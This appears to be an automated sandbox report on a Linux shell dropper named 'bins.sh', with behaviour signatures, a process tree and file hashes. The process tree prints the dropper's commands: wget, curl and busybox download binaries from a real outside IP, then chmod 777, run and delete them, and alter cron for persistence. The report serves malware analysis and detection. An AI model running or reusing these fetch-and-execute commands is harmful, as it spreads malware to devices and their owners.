Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/11/2024, 22:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241109-2fx23swpgr
  • SHA256 3b8bfbb4ad9a3c9263dcfa5c9f7775892facd8db73df1e45c577682378240c2a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2091) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:644
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:646
        • /usr/bin/wget
          wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:648
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:670
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:676
        • /bin/chmod
          chmod 777 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          ./0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Executes dropped EXE
          PID:678
        • /bin/rm
          rm 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
            PID:680
          • /usr/bin/wget
            wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:681
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:684
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:695
          • /bin/chmod
            chmod 777 N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            ./N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Executes dropped EXE
            PID:701
          • /bin/rm
            rm N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
              PID:703
            • /usr/bin/wget
              wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:704
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:714
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:729
            • /bin/chmod
              chmod 777 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • File and Directory Permissions Modification
              PID:734
            • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              ./hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:735
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:737
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:738
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:740
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:741
                  • /bin/rm
                    rm hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
                    2⤵
                      PID:744
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                      2⤵
                        PID:747

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g

                          • Path /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
                          • Size 122KB
                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                          • MD5 SHA1 SHA512 SSDEEP

                          N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5

                          • Path /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
                          • Size 107KB
                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                          • MD5 SHA1 SHA512 SSDEEP

                          hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

                          • Path /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
                          • Size 127KB
                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                          • MD5 SHA1 SHA512 SSDEEP

                          tmp.aEv0Gg

                          • Path /var/spool/cron/crontabs/tmp.aEv0Gg
                          • Size 210B
                          • SHA256 e0b50ab0a1aec9f597f5281b0ed162051f83ccd372c6a18ea46aec53474a555f
                          • MD5 SHA1 SHA512